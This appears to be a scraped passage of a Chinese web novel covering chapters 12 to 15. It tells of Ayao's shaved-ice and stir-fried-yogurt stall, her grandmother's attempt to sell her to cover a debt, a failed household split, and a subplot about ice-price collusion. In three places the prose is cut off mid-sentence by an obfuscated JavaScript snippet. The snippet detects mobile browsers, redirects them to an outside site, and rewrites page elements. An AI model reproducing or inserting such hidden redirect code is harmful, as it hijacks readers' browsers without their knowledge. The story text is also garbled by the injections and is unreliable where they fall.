虽然说许老爹每年所赚银两多数要寄回家中,可他们整一年下来都不知到底能赚上多少。 许老大本要推脱不受,左想右想还是收下了,他心中惦记两个孩子,凭白无故不能叫孩子吃了苦头。 他开始去后头厨房忙活,许老爹带回来的海鱼新鲜着,家中人知晓许老大做菜手艺好,这个功夫儿时就展现出来了,能得到花楼务工还是他自个去报名竞选来的机会。 手起刀落快速将鱼开膛破肚,挖出里头内脏,再用姜丝、少许粗盐稍稍腌制一会儿,等油温热了裹上面粉糊,立刻下锅炸,期间需等粉糊凝固然后在翻身煎制一面,锅内不能停火,这样炸出的海鱼外皮酥脆内里香嫩,咸淡刚好。 统共带回来二十几条鱼,一次性全让许老大炸完,端上桌后都尝起来,没一会儿功夫全没了。 许老爹给得三十两,阿瑶原本打算去订个新托盘,天气越发热心里惦记宅子的是,便早早提上日程,她用炭笔画了草图又提前问过铁匠出一个成品需要多久时日。 物件没落地,她只好做着原先那些冰饮,算是打出了名声,凡是路过州桥的富贵人家和寻常百姓,都要在她摊子前停上一停,问一问哪些名字对应的东西。 铁盘子打出来,方正一个周边棱角尖锐,阿瑶让铁匠修改了些,之后投入使用。 还好前世阿瑶做过炒酸奶这方面的研究,知道需要用到哪些材料,她拿到工具后趁人少时,提前试练了一遍。 特地向冰行定制了几块大小同铁托盘相同的冰,她在上头洒上粗盐,盖了纱布隔着铁,托盘里冒出冰霜,阿瑶往里头倒了些牛乳和果酱,双铲刀不断剁碎搅拌,从稀变稠,用铲刀刮平刮匀称朝里洒下几颗果肉,等待凝固同时划分小块区域,而后使从铲刀将冻住的牛乳全盛进琉璃碗中。 阿瑶夹了一块尝尝,不同沙冰口感,咬下去瞬间就能在口中融化,奶香与果子从中分离。 自从梁文宇出现后,阿瑶脱离了搬送推车工作,每日只需替食客们打上一些配料。 人流多时,阿瑶会摆上一碗供食客们品尝,先前被她稀奇古怪的新点子带起来的食客总是提前享受,只可惜天气炎热化的快,有些食客来的晚些已经化成水了。 “如今生意好,掌柜的也该替小的涨些工钱!”梁文宇笑着说,邪魅模样。 阿瑶手头忙,暂时没搭理梁文宇抛出的话题,送走食客她转身拿料:“你如此勤奋,自然要涨一些。” 梁文宇收拾桌子回来:“你原定下给我一两银子一月,眼下该是要再涨一两了。”他自幼金贵惯了难免有些敷衍了之,可经过阿瑶长时间指点,如今做事起来顺手了许多,只是有些活还是不愿意做的。 自打阿瑶更新牌子后,多添加了炒酸奶一种可供纳凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430104|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之物,价钱方面涨了大概七八文,即便是涨价如此手头宽裕的百姓还是会买上一份尝尝味道。 但阿瑶每月规定了一天特价购买,价格是平日里一半,每日牌子前都会挂上一块红布,这样一来她一日赚上的银两往常的两倍。 “一贯半!”阿瑶每日能卖出五十份,零散加起来一日可得三百文,抛开购买蔬果,冰块价格,剩下每日也能赚一百八十文。 “二两。”梁文宇把玩着水杯,漫不经心说起来:"这几日外送的活,你瞧我哪日未去,身上也晒黑了些。" 说到黑,阿瑶的确发现梁文宇细皮嫩肉的小脸黑了几度,模样看起来更像一个乡野村夫。 她松了口:“好。”手头洗干净托盘结束白日里的买卖,她晚上要搬到花楼前头去,之前被人赶离这几日没人赶来找她麻烦,就回到原来位置上继续摆。 家中许老二欠下的钱财全由着许陈氏腆着脸得老头子吩咐去城中要债处询问多宽容些日子,手上掏出张五十两银票,半百老婆子是什么没见过,打马虎眼还不会可不白活一场。 对方见她交出一部分,原本要将的话堵在嗓子眼迟迟未说出来,口中改变话术好脾气准许了。 从东市第一条巷子经过州桥,许陈氏无意瞥见阿瑶站在摊子下给食客打捞沙冰,走上前去:“阿瑶,你在此做什?” 阿瑶刚打好沙冰给食客送上,听见熟悉叫声不免抬头看,目光顿时僵在空中,脑海内迅速转动想起说辞。 “阿嬷,是您啊!”她打了碗沙冰:“阿嬷,如今天气热。” 她故意对着梁文宇说道:“梁老板,我阿嬷吃的冰饮从我工钱里扣。” 阿瑶转身对上对方探究视线,皮笑肉不笑的默默示威着,眼神中带着告诫之意。 “你阿嬷难的过来,理应好好陪陪。”梁文宇回了阿瑶一个笑容,可眼底却并无善意,“阿嬷往后尽管来,只要您爱吃。” 她本就害怕偷开摊子叫阿嬷知晓后非得闹上一处,至此从未透露出一丝痕迹,就连许老大嘴里都跟上了线一样,守口如瓶。 阿瑶瞪了梁文宇一样,双眼更加圆润,看起来一点都不凶狠顺着话接下去说:“对啊,阿嬷,您常来,我这位店家手头宽裕着,不怕您多吃几碗。” 猜准许陈氏性子,能占上一次便宜事儿,她下次定然还会,只是今日她却反常说了几句,匆忙离去。 “你这位阿嬷看面相算不得好人。”梁文宇同阿瑶并排站着,视线放得长远,“只怕你上回之事也是出自她吧!” 阿瑶没想到梁文宇能猜得如此准确,帘下眼,“我这阿嬷重男轻女,不喜我是常事,你不也知晓吗?” 梁文宇知晓阿瑶按指他骗取钱财一事,微微摇头,这小姑娘为钱财一事太过于计较。 不过要说来,他们两人自相识以来的确收到太多事情,如今能靠自己从吃人的地方逃出来实属不易。 阿瑶接着说道:“只不过她今天有些反常。”相处多年,即便换了里子,阿瑶记忆中还是会有阿嬷的脾性在。 12. 分家前(十二) 先前阿瑶瞧见许陈氏从州桥过来,脸上神态难得放松许多,可通往州桥尽头是东市,难道她阿嬷又想出了什么新主意不成。 不行,她得回去看看,万一哪天又被偷摸着卖了抵小叔伯的债。 阿瑶弄完手头吃食,暂时把东西转交到梁文宇手中,她则回家去看看,顺带叫声许老大一道回去。 许老爹这几日一直都待在家中,碰巧进日出去走走,听见远处人堆里头几个老妇人讲着些他并不知晓的事情。 那几人各自手握一把瓜子,边讲边笑着讽刺。 【你们知不知道前几日,许老婆子又开始这折腾她孙女了,听说许配了人家,结果被官爷带走关了一天一夜。】 【可不是,她家老爷子不在家,许老婆子心真狠,卖孙女嫁孙女,无非就是为她家老二还钱,听说欠了一把笔债务。】 眼尖得人瞄见许老爹过去,瞬间转头笑着道:"老爷子,您回来啦!" “嗯,回来有几日了。”许老爹走上前,“你们说我家老婆子干了什么好事?” “害,许老婆子为替你家老二还钱,连孙女都卖,阿瑶那时偷跑回来,浑身上下没一处好的,哭的快晕过去。”妇人说着,嘴里瓜子半刻未停。 这些话当真着许老爹是添油加醋说着,如今村子里谁不知阿瑶一事,可惜许老爹不在,否则他们家岂会出这档子事。 许老爹脸上略微有些难看,沉着气说道:“难为你们替我家着想,这些家事我自会去料理清楚。”他放下话转身快步往家中回去,常年航海捕鱼,身子健朗的很。 他是真气急了,踹门而入,阴沉着脸坐到凉棚木桌前,许陈氏刚到家准备了些米糠要喂鸡,才洒了一半料:“大把年纪的人了,进门还咋咋呼呼的,” 阿瑶与许老大也回家有些时刻了,同许陈氏前后脚进门,此刻坐在屋子里休息。 外头声音响亮,许老大原本要出去看看,被阿瑶叫住,人又坐了回去。 “听说你前短时日动了卖阿瑶心思?”许老爹歇了片刻,“咱们家是出了何事,要这般苛待小辈!” “好端端听了谁在背后嚼舌根。”许陈氏喂完鸡,推开栅栏门出来,拍着围裙上的米糠。 许老爹将手搭上桌:“全村人都知晓你干的那些好事,我这张老脸都被你丢尽了。” 他在村中有些名望,原先是在镇上做账房先生,后头看朝廷召船员,托了关系去了正经地儿,每隔半年回家一趟,一年比一年赚的多。 家中难得有些积蓄出来,可老子在争气,儿子不争气赚得再多也无用。 "是,好人都你做,坏人都是我,你那张老脸值多少钱,还不是我腆着脸同追债的人讨些方便。"许陈氏扔了装米糠的陶碗,坐在地上要撒泼闹腾。 老爷子呵斥了她:“遇点事就闹,能变出银子还是把老二改好!” “造孽啊!我一辈子为这家忙进忙出,如今你数落起我来了,怎不见你自个出面做恶人!常年不着家,是不是心里不惦记我们一家子老小!”许陈氏用衣袖擦泪。 许老爹知道这回务必不能心软,可他年老妻子婆娑双眼,想起了年轻时种种,她的确为家里吃了许多苦,可家里头的小辈是他看着长大,多少带些感情,说话语气软了几分:“家中还剩下多少银两。” “棺材本都搭进去了,还能有些啥。”许陈氏嗓子硬朗起来,底气足了,“前头老大和阿瑶给的三十两,再加上我手头的二十两,昨日捎带的去还了五十两,还差五十。”许老二欠下的债款,多多少少还上许多,马上也快还清了。 许老爹先前给了许老大三十两银子,他手上还剩三十两,掏出来放到木桌上:“这三十两银子先还上,后头二十两再另外想办法。” “你不给老大银子,这欠款早还清了!”许陈氏眼珠子一转,"要不问老大要回二十两,先把债还上?" “不成!”许老爹打断话,“本就是老二欠老大的,我既然给了他,便无要回来的打算。” 阿瑶原本还担心阿爷同意了阿嬷说法,要问他们讨回给出去的银钱,打算让她阿爹出去说话。 许老大本也是要出去同爹娘商量让他们兄弟两人分家一事,推开门过去:“阿爹,阿娘,儿有事想与你们商量。” 海氏本来就和阿瑶他们爷两在一块儿,平时外头怎么闹都不会出去看上一眼,顾自己绣花,今日不同往日,许老大这几日归家一直在与海氏说分家一事。 夫妻二人,走到外头向爹娘跪下磕了个头,许老大目光朝海氏看了看,随后说道:"我们夫妻二人知晓爹娘多年精心尽力培养,如今孩儿大了,心中想着让我们一家四口分出去住吧!" “分出去,臭小子,定是你媳妇撺掇你。”许陈氏不敢当面对儿媳动手,嘴里骂几句。 许老爹从头至尾没说过一句话,全由着许成氏说骂。 “阿娘全段时日要发卖阿瑶,我答应下替老二还钱,可您却又为了老二要将亲孙女嫁给半百老头,您如今是老糊涂了,儿心里还是害怕,老二下会欠钱,回家迟了您变主要动了心思。”许老大是丝毫不给他娘面子,实话实说起来。 难得听许老爹发话:“老大,我和你娘操劳一辈子,盼着你们好,可这个家分不得啊,你阿娘年级大了,老糊涂,你和儿媳千万别往心里去。” 许老爹从未觉得海氏这个儿媳有哪儿不好,人是他当年亲自选下,去亲家提亲,嫁过来也是好生相待。 只可惜他那个小儿子不成器,整日里游手好闲,娶进来的媳妇是样样不会干,好吃懒做。 海氏与许老大相互对视一眼,敛下眼:“阿爹,阿娘,求您二两准许我们分家,当年生阿瑶的时候,稳婆说胎大难产,生了一天一夜才下来,我自个身上掉下来的肉,心里疼着,可也不能让娘您跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430105|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物件般说送人就送人的。” 许陈氏咬牙切齿说着:“我哪儿怠慢了阿瑶,不就是寻常有些好吃的东西让两个小的先吃了几口,轮到阿瑶时那还剩一口呢!”、 “是,阿瑶不是您亲生,隔代也为见疼她,我是她娘,要为她将来谋划。”海氏未收敛脾气,话语中有些冲人。 “儿媳啊!爹向你保证,绝无下次,若有我便将你阿娘休了!”许老爹向大儿保证。 许陈氏听了瞪大细眼:“老头子,你说什么!休妻!” 许老爹话一出口,许陈氏没心思和老大媳妇说事儿,将矛头转向许老爹,两人开始吵嚷起来。 一时间两老口扯皮起来,许老大扶着海氏起身过去劝阻,这一不留心一个巴掌印子打上了脸,他力气大把两人拉开,分别陪同去了椅子上坐下歇息。 安抚好两人,他知道今日是商量不成了,因此分家念头又搁置下去,吃过晚饭,照旧要上镇子务工。 阿瑶随许老大一块走,走的有些急,主要是摊子前炒酸奶手艺还是要靠阿瑶过去撑起来,这几日店比冰饮子的人逐渐减少,反倒吃炒酸奶的生意越发见好。 摊子前来的都是几位老顾客,阿瑶手头抛开做铁盘的钱,再攒上几日钱财哪座宅子就能全款拿下。 今日阿瑶准备了些巴榄子果肉,炒熟头可香了,再用棍子将它碾碎。 她往托盘里倒进牛乳放了一勺梅子果酱,最后洒上巴榄子碎,最近食客总爱店的就是这款式的炒酸奶,吃起来味道可好了。 因为阿瑶自己是做炒酸奶的营生,附带周围摊贩都被她照顾了几次,大家伙相互互换吃食,联起手来坐生意,周边收入比铺子都要好。 但生意好一事,不知怎么通过外人嘴传进了许陈氏耳朵里,她假借买陶碗由头进了趟城。 外头食客叫阿瑶店家的声音被许陈氏听了去,当天回去直接发作了问话,本着一心为儿孙们好的念头,许老爹准许了阿瑶做生意一事,还想要他们多照顾老二一家,可若是照料两位幼弟,阿瑶是心甘情愿的,但为了她那个混账的小叔伯还是算了。 “阿爷,我过几日要带两位弟弟去城里住,我做生意租了间屋子存放冰车,花心思打听了学堂,听说里面的夫子是举子,心想让两位弟弟跟我去城里住。一来方便上学,二来我也能多赚些银钱供弟弟们学费和购置纸墨笔砚的钱。”阿瑶怕摊子叫许陈氏惦记,干脆提议搬出去住,等过段时日买下宅子,让阿爹和阿娘也搬过来。 既然无法分家,哪他们搬出去住应该无事吧! 许老爹幼时读过几年书,知道其中好处,答应了阿瑶的提议,许陈氏虽然有时不分青红皂白,可听说读书也没阻拦。 于是,阿瑶返程时收拾好东西连同两位弟弟的一道搬去了宅子里住。 宅子原先四间屋子,好在院子大,她买了不少蔬果种子,都快长的有半身高。 13. 分家前(十三) 这些种子还是阿瑶刚开摊做生意时种下的。 不过最近她确实有在物色种子,想能够早日实现果子自由,不必担心外头物价。 来时匆忙,没吃上饭菜就过来了,此刻三人正饥肠辘辘。 阿瑶见家中无吃食,带着两位弟弟去下馆子,她挑选了一家菜色价格都相衬的食馆,只可惜手艺方面比之许老爹还差上许多。 之前阿瑶本打算要同弟弟们去花楼吃,可她与那店家因合作一事有些闹掰,怕两人遇上难看,就放弃了。 吃了东西她将两位幼弟带到摊子前,给两人做了一碗炒酸奶,用小琉璃碗装出两份,主要是担心他们两个贪凉吃过了要闹肚子,阿瑶不知梁文宇字写的如何,私自去书行买了些三字经回来让幼弟们先读着。 就这样一晚上,阿瑶做生意忙时两位幼弟蹲在摊子后头温习,等有了空位则过去小坐一会儿,见食客来了便在让开。 而后,阿瑶去隔壁摊买了两把小竹椅,回来让他们兄弟二人坐在自己能瞧见的地方。 看着两个小的如此用心,阿瑶干起活来动力也足,她两个弟弟虽然年纪小,可心思善良,心中记挂她这个长姐,哪怕有阿嬷偏心,也会偷偷每人藏一些吃食给她。 阿瑶这几日卖的快,早早就能回家,她替幼弟们铺好草席,熄了灯火到院子里干活。 早上新买的果子还未整理,一个人坐在院子中央,清洗,切丁,起火熬煮,一道道手续下来,几乎接近三更。 梁文宇来时阿瑶刚忙活完,见他衣裳破了一大道口子,小臂附近衣袖有些渗处出来的血色。 “你没事儿吧!”阿瑶上下打量了梁文宇一边。 梁文宇解开袖口,撩起衣衫,淡定看了眼:“无事,小伤而已。” “快去脱下来洗洗,这衣衫我替你补一补。”阿瑶这辈子只会做吃食,论绣工是半点都不会。 梁文宇点头,外袍当着阿瑶面直接脱了下来,吓得她连忙背过身去,说话结巴:“你..你..你怎如此..轻浮。” “呵。”梁文宇眼中笑意渐深,“你当我是何人,岂会不注重礼节。” 阿瑶转回身,只见他里头还有件褙子,明显比破损那件料子要好上许多,缎面花纹更加精细。 “你无耻,居然诓骗我。”阿瑶有些许恼意,她与梁文宇同住一屋已经有违礼节。 梁文宇简单替自己收拾好伤口,主动帮阿瑶装起果酱放入冰桶储存,那一罐罐用小瓷缸装起来的果酱还有些微热,散发出来的香气满宅子都清甜。 阿瑶收拾出来的小菜园有几颗野菜,刚好忙活一晚上有些饿了,就用三种野时蔬做了碗羹汤。 做汤羹速度很快,水开往里头放入切碎的野菜叶子,煮开后加入勾芡汁水煮制粘稠加入少量盐提鲜就好。 阿瑶替梁文宇盛上一碗,又替自己盛了一碗,两人一起坐到木桌前慢慢喝着,这个季节的野菜鲜嫩爽口,大晚上喝一碗热乎得身上出了薄汗。 她把锅里多出来的盛进瓷碗晾凉,清理干净大锅炒制巴榄子,每晚要做的东西很多,有时来不及阿瑶定下每日可食用的冰饮款式,这样一来她反倒省下些功夫休息。 做吃食方面,阿瑶还是没遗传到许老爹手艺,勉强算能入口。 好在梁文宇吃习惯了,即便有时她不小心放多了盐,对方还是能淡定的吃上几口,可那日糙米饭却被吃空。 炒熟的巴榄子需要将它剥出碾碎,收拾完一切,阿瑶将三脆羹收进冰桶,留着明早煮面吃。 由于她带着弟弟们进城住,家中灶房除了米面,其他食材都没,阿瑶想着明早去买些鸡蛋,果蔬,两个幼弟长身体时候,要吃些好东西补补。 西市近段时日进了好些货,长长一条都是外城人赶早进来卖的新鲜蔬果,阿瑶挎了个大篮子赶集,回去时手中拎着一条鱼和一只老母鸡。 她将鸡扔进宅子原有的笼子里,等着它下蛋,竹篮里还有一些鸡蛋,果蔬,放好食材,煮了面叫两个小起来吃完后,亲自送他们两去了学堂,放他们走时阿瑶叮嘱了很多事儿,好在两人听话一一答应下来。 阿瑶今日出摊晚了些,周边都有些食客等着过来吃,她这日承接了几家酒楼单子,本就人手有些不足,梁文宇又未在家中。 这几日总是她一人出摊,梁文宇不知跑何处去痛快了,阿瑶背后说了几句。 此刻的少年郎正坐在花楼二楼雅间里,手边握着茶杯细细听对面雅间商谈的秘案,对方暗中策划冰价从中获利一事。 冰价上涨不段,价格起伏不定,甚至已经到了六十文一块冰,冰行可从中抽取二十文利息,由此可见着利润相当不得了。 外加上近几年冰价每年都在缓慢上涨,夏日炎热寻常百姓早习惯了用冰纳凉,周边衍生的冰饮子铺面全都想在夏季多挣些银子。 里头举着例子,暗中筹划如何使冰价上涨的不为人知,又有个正当理由,双方密谋中却不知这些话全落入少年耳中。 在外人眼里他是官府张贴抄没家财的公子哥,可每眉宇间的一举一动时刻彰显着他昔日尊贵气质。 少年穿着的绸缎价格居高,腰间挂坠多数和田玉坠子,另外一手间捏着黑金漆扇,举起茶杯轻轻抿上一口。 “郎君,外头轿子候着,舅老爷等您回府。”小厮推门通报。 良久,少年郎起身往楼下走,坐进轿子到了府邸。 他用扇子轻摆着,好一股风流倜傥劲。 正厅站了位老爷,黑帽青袍:“子恒,可算来了。” “舅父,外甥来晚了。”少年郎朝舅父作揖,接着说道,“冰行伙同外人从中受益,每卖一块便从中抽取二十文。一日下来千文有余,我们应当放长线钓大鱼。” “是也。”老爷转身,嘴边两缕胡须微挂嘴边,他捏起一缕捋起来,目光转换眼皮一沉,“城中可有百姓购不起?”他身为父母官,百姓衣食住行是他之所挂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430106|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “未曾,眼下百姓收入可观,我派人去盯梢,并未见人央求掌柜通融。”梁文宇句句如实并无虚假。 他当日荒唐行事让舅父顺势为他想了个主意,愧对骗取百姓钱财同时与舅父对赌,赌约便是阿瑶这一女子能否撑起心中所想。 遥想皇城之下,女子为商多数是卖些簪罗钗环,胭脂口粉寻常女子之物,也有些卖豆腐的女娘。 州桥之上竟是男子在外卖冰饮生意,冰块重量沉,一介女娥无法搬运打磨。 他赌阿瑶赢,势必让叔父亲口承认女子已是能作商铺店家的。 “看来今日舅父食欲尚佳,想是冰饮子借了暑气。”他故意提起阿瑶所制的蜜沙冰。 吴县令睨了他一眼,吃起下人替他购入的炒酸奶:“小姑娘心思独特,说来我若中途反悔岂不叫你看了笑话,万事开头难,别得意!” “舅父所言极是,我理应多帮衬些,毕竟她现在可是我的主子。”梁文宇合拢漆扇,朝手心一握。 这事说起来还是他自个想出来的主意,算定对方会心软,故意打伤自己去阿瑶面前博可怜。 吴县令伸手空点了几下,摇头笑道:“你这泼猴,性子放荡惯了,如此去骗人家小姑娘,就不怕她发现之后。” “再外我是仆从,算起来也该到出摊时辰,舅父,外甥先行告辞。”他着急回去帮阿瑶,在府中换了行头,离去前,“舅父放心,子恒对幕后之人已有把握,只待他上钩。” 吴县令望着少年郎远去身影,不知该祝贺好还是替他不自知而惋惜。 阿瑶手上在为酒楼定下的三十分各味沙冰配置底料,面前摆放着的碗来自酒楼,她只按照掌柜吩咐添加。 其中有一家定了不下十碗炒酸奶,每个味道各六碗,她至今加起来新添的味道才统共三种,分别是:原味、巴榄子味、梅子果酱味。 手头都快冒烟了,一会儿要顾冰沙打捞,一会儿要顾炒酸奶装盘,时间一久,炒酸奶会粘在铁盘上很难铲起。 索性梁文宇回来及时,阿瑶让了位置给他,把沙冰那份活直接丢给他。 这波子忙碌持续到晌午才勉强结束,放松下来,阿瑶只觉得自己手腕都有些发抖,长时间紧张局势总算能休息片刻。 下学堂归来的两位幼弟,脸上沾了墨汁了远看就是两只小猫,阿瑶抽出帕子替他温柔擦拭干净,从摊子里变出两小碗半化的沙冰。 阿瑶担心他们年纪小喜食凉物太多不好,专门放在外头暖一会儿,等他们下堂刚好能吃。 “吃慢些,阿姐找人去花楼卖了点菜肴,一会儿你俩吃完赶紧去学堂,莫耽误夫子教书。”她是倾佩屋县令民之心,但凡是他府上小厮来卖冰饮都会特地多放一些。 “我们晓得。”两人上课很用功,但基础弱上些,下了功夫学,竟忘乎所以,晚了一刻钟。 月底阿瑶算着攒下的银钱,居然比她算时还要多上一粒,当即和官爷签到房契文书。 14. 分家前(十四) 官牙子也想快速敲定印章过了明面,好多赚赢钱,这座宅子一直卖不出去了,好不容易出现位客人,官牙怎么都有得麻利办下来,防止人反悔。 阿瑶最先是打算短期租几日的,后头听闻这个宅子有些不干净,还担心上了,住了几日什么事都没有,那谣言尽然随之而散。 庄子文书敲好官印,阿瑶将它收进自己房中找了个隐蔽地方藏起来,之后出来继续做生意。 她如今买下了宅子,还想着将摊子扩一扩,可周边铺子少说一年还要十多两租金,阿瑶手头银钱全用去值班宅子内部家具,线下可以说一文钱都快拿不出。 好在买了三日的冰块,总算能撑上一撑,一块冰留作炒酸奶使用,其余两块当做冰沙使用。 一块六十文的冰可以卖上五十文沙冰,大小叫起来光沙冰一种五十万少说一百五十文还是有的,天气热起来,不靠冰桶做炒酸奶即便用上粗盐保持着凝固速度,冻结再快也抵不上融化速度,冰水顺着板沿往下不断滴落,阿瑶脚下都淌成河了。 晌午过后,赶集市的人比上午还多上许多,自从阿瑶接了酒楼的冰沙后,外头时常过来的散客让阿瑶根本来不及清理,水滴不知何时顺着围裙滑落,将阿瑶裙子前头全浸湿了。 她忙完才注意到这些,面色为难出不去了,围裙仅仅只能遮挡前头部分,小腿以下可无法阻挡,整个人杵在原地。 突然腰间一热,她顺着手往上望去,梁文宇脱了外衫盖在她腰间,男子衣服宽大足够包裹住她裙子部分,阿瑶耳根有些微红,小声说道:“多谢!” 赶忙回去换了一套衣裳回来处理剩下单子,她长了心眼,特意多带了一套衣裙过来,再炒酸奶部分的冰块旁放了一陶盆,她抽空去摊子上物色了几个,只是可惜能够容纳下冰块的多数是些木盆,迫不得已之下买了一个过来。 这块冰早化了一半有余,否则只怕装不下它,阿瑶买了木盆手头更加紧张了几分,她今日买了七八十碗,算下来小两百文钱还是有。 梁文宇替阿瑶收了摊子,他们回去路上需要经过西市,阿瑶早上买的食材还未吃过,她看见路边有买过果子的又买了一些带回家。 哥儿们回家,阿瑶准备起火做饭,外头灶子有两个,一个煮饭一个炒菜。 说除去冰沙,还有一种拿手菜就只能是炖鱼了,她热油下过将鱼皮煎熟定型翻面,而后扔入葱姜蒜去腥,最后下一点酱油,全靠汤汁提味,少许放些胡椒提鲜,大火收汁,这样出来的红烧鱼比较入味。 她买了些鸡蛋和韭菜,这两样东西炒出来香味浓郁,最后弄了一个到凉拌金针,阿瑶看了一眼四人吃,未免有些少,又做了一碗汤羹和竹笋炒肉。 叫了人出来吃饭,饭桌上,阿瑶再次看见两个哥儿嘴边花的“小胡子”憋着笑为他们擦脸。 梁文宇同他们一个方向出来,阿瑶见他衣袖上也沾上了墨汁,心里霎时明白。 阿瑶替两位弟弟夹了鱼肚部分肉去吃,担心他们误吞,又夹了鱼鳍附近肉给他们,原先早上想着要将鸡杀了顿着吃,后来她买完鸡后,刚好下了蛋就没动它的心思。 “阿姐,阿哥他在教我们写字。”小宇扒拉口饭对阿瑶说道。 她垂下眼,视线碰巧落在梁文宇袖口,朝笋碗里找了肉片出来给两人吃“:好,有他教你俩,阿姐心中放心。” 阿瑶知道梁文宇是读过学的读书人,又出生好,家中定然为他找过好夫子,没说什么不好之处。 他们在家时有肉吃可伙食并未有像今日这般丰盛,多数时候还是粗面窝窝就这野菜汤度日,看见肉的两小只,眼睛冒出光,一个个吃的老香。 收拾干净灶房锅碗,她将清洗果子任务交给两个哥儿们,原先她是不同意的,可两人写完夫子布下的作业后硬提出帮忙一事,阿瑶拗不过给了个轻松的活儿。 眼下她的确需要人手,梁文宇负责将果子切丁交由阿瑶熬煮,她一口气往大锅中倒下许多果肉,根据果子酸甜度,混合了两种不同果丁,配上麦芽糖不断搅拌出汁水,慢慢熬煮后就能声出过。 最近几日总要隔三差五熬上一回,白日果酱用量大,若不在晚上熬煮,冰饮怕是供应不上。 夏日除去吃些爽口吃食,就只剩下甜口沙冰了,哪些冰饮子店阿瑶都去喝过,有些顶多算糖水,连料都没几个。 阿瑶看做炒酸奶的冰块还剩一些,后头就用着给果酱保存使用,只是最近天热,屋子闷,阿瑶会用白日剩下的冰块装进木桶放到屋子里头消暑。 她躺下是听见隔壁屋门开了的声音,附带极轻得脚步,每晚梁文宇要出去,她是知晓的,可又管不着。 即便是买来的仆从该有自己的时刻,又是晚上阿瑶更加没时间同梁文宇去计较哪些事儿,只要不耽误早上务工,他想几点回就几点。 想着想着阿瑶便睡着了,屋子里头的冰块逐渐化得差不多,等到天亮木桶里全是水。 她是个聪明人,冰化掉的水早上搬到院子里倒进水缸,放一个西瓜进去冰镇,临行前带走那温度刚刚好。 说道西瓜,阿瑶想起可以用西瓜做为炒酸奶底料制作的方法,当即破开西瓜挖出果扔上铁盘,用铲子分离里头种子,倒入牛乳开始搅和起来,等待凝固后铲起来会同木屑一样,卷成红红一小段。 阿瑶试吃后将名字写上,她留了小半个没买,一直保存在冰车里,用干净陶碗盛着。 梁文宇晚上晚归,白日会将车摊推出去再回去补觉,阿瑶从不觉得他何处不好,之事有时候的话她不太爱听,整个一副纨绔子弟模样。 相处下来,阿瑶发现梁文宇这人除了脾气难以摸准,吃食喜好方面挑剔时也会给些好脸色,吃上几口作罢。 摊子前多了新口味,因为阿瑶限制份数,并不是每人都能吃上,仅仅只有十二人能吃,她边卖边叫喊。 那一会儿 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官牙子同阿瑶之间关系还好,由着上次她购置宅子一事解决了官牙子心头大难,此刻对阿瑶这个小姑娘的能力有所另看。 阿瑶身上虽然穿着衣衫,可也能看出她瘦小身躯,人小但力气足。 他们连看几间不满意就回到摊子前忙活,只不过摊子前来位不速之客。 花楼店家原以为阿瑶早就不在他门前做买卖,难得出来一看,发现她店里的吃冰沙的人都快排到州桥下边了,再看花楼大堂内,人烟稀少,仅有的几个食客吃的还都是些凉菜,嘴里讨论着阿瑶的冰沙口味哪几种好吃,店家一听能不怄气吗? 细长条双眼眯起来都快成一条缝了,直直盯着阿瑶摊子想要烧出个洞来,招呼了人到他身边附在人耳边悄悄说了几句话。 “小姑娘,如今生意真好,到时我慧眼不识珠,当我向你赔不是,可否愿意到花楼小坐片刻。”店家邀请阿瑶去喝盏茶。 阿瑶笑道:“店家您也瞧见了我手头忙,只怕是过不去了,要不您改天再来。” 当初她想同店家合作,对方看不清她的好主意,后来又嫌弃她要的太多,阿瑶现在都懒得搭理对方。 含糊敷衍话语,店家岂回听不出来,心里不满,面子上还是维持笑意:“小姑娘,改日我再来同你叙旧。” 店家吃了闭门羹,但是不急,他后头的主子有意与阿瑶合作,等上一等又有何妨。 对于阿瑶而言这些不过是些小插曲,根本没放心上,一门心思扑在做生意上头,手中是一点都不敢停下,外头队伍是越发的长。 每人都问阿瑶西瓜炒酸奶还有没有货,阿瑶只好另外给食客送了一份冰糖水,让食客取了号子明日再来。 她这些号子都是用小竹排做出来的,上头手写的数字只有阿瑶自己看得懂,全是阿拉伯数字,这个年代还没人能仿写出来。 15. 分家前(十五) 收摊回去,两个哥儿下学早,坐在院子里头练字,阿瑶归家凑过去看了几眼。 “阿姐,今日阿娘过来看我,叫我们回家吃饭。”说话的是余哥儿,他是小叔伯的儿子。 搬进屋子后,阿瑶没在回去过,省去应付家长里短那些琐事,难得落得清闲自在,现下叫她回家还有些不太乐意。 可余哥儿年纪小,需要时长去见一见爹娘,阿瑶答应下来:“明后休息,我带你们回家小住,等后日再来接你俩回来。” 将人送回家中,海氏叫住阿瑶给了她一袋吃食,拉着阿瑶手:“阿娘见你瘦了许多,这些是你姥让你舅送来的吃食,你带回去。” 